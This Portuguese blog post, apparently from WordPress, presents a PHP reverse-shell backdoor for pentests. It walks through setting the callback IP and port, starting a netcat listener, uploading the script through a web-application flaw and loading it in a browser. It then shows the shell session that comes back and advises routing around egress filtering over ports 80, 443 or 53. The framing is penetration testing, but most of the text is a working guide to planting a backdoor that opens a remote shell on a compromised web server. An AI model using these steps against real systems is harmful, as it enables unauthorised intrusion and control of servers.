PHP-Reverse-Shell

Esta ferramenta criada em PHP, foi criada para ocasiões durante um pentest onde você consegue encontrar uma falha em uma aplicação Web ou Servidor Web que roda PHP. Imagine que neste pentest que os únicos mount points que você consegue utilizar estejam como noexec, sendo assim o envio de um script pre-compilado, como por exemplo uma backdoor em C, não sejam úteis. Neste caso você precisa de um script de alguma linguagem que ja esteja pre-instalada e executando no servidor alvo, como é o caso do Perl ou do PHP.

Para utilizar esta ferramenta basta fazer o upload da mesma em qualquer lugar do WebRoot e acessá-la via browser. Fazendo isto ela ira abrir um canal de comunicação TCP através de uma porta e estabelecerá uma Shell Interativa para que você possa acessar o console do servidor.

Download

php-reverse-shell-1.0.tar.gz

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee

Let’s Hack it :)

Modificando o Source

Para prevenir que qualquer um abuse de sua backdoor enquanto você a utiliza é necessário modificar o source code para indicar em qual host você irá fazer o Reverse ConnectBack. Para isto basta editar as linhas a seguir:

$ip = '127.0.0.1';  // MUDE AQUI $port = 1234;       // MUDE AQUI

Pronto para receber uma Shell Reversa

Inicie um TCP Listener no host o qual você enviará a shell. É obvio que você deve utilizar a mesma porta que setou no script php. (1234 no nosso exemplo):

$ nc -v -n -l -p 1234

Enviando e Executando

Usando qualquer vulnerabilidade que você descobriu no Website, faça upload do php-reverse-shell.php. Execute o Script simplesmente acessando com o Browser o URL onde você colocou o script. Você não irá ver nenhum output na no browser, sendo assim não se assuste.

http://target/php-reverse-shell.php

Aproveite a Shell Nova

Se tudo correr bem e você fez tudo corrretamente o web server vai retornar uma Shell em sua porta TCP no Netcat. Alguns comandos úteis como uname -a, w, id e pwd serão executados automaticamente para você:

$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$

Abaixo segue um videozinho mostrando a execução do php-reverse-shell.

Qualquer Egress Filtering irá prevenir você de utilizar este tipo de backdoor, desta forma você deve procurar uma porta que seja possível fazer walkthrough no firewall. As portas mais comuns são:

– 80/tcp, 443/tcp e 53/tcp

A execução desta backdoor geraria algo suspeito se o Admin executasse um “ps”?

SIM, este script é muito simples então ele não faz nenhum hook() no sistema :

apache   28106  0.0  0.0  10428  1216 ?        S    17:15   0:00 sh -c uname -a; w; id; /bin/sh -i
apache   28110  0.0  0.0  10172  1428 ?        S    17:15   0:00 /bin/sh -i

Espero que tenham gostado.

Good Hacking 4 All.

Advertisements

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s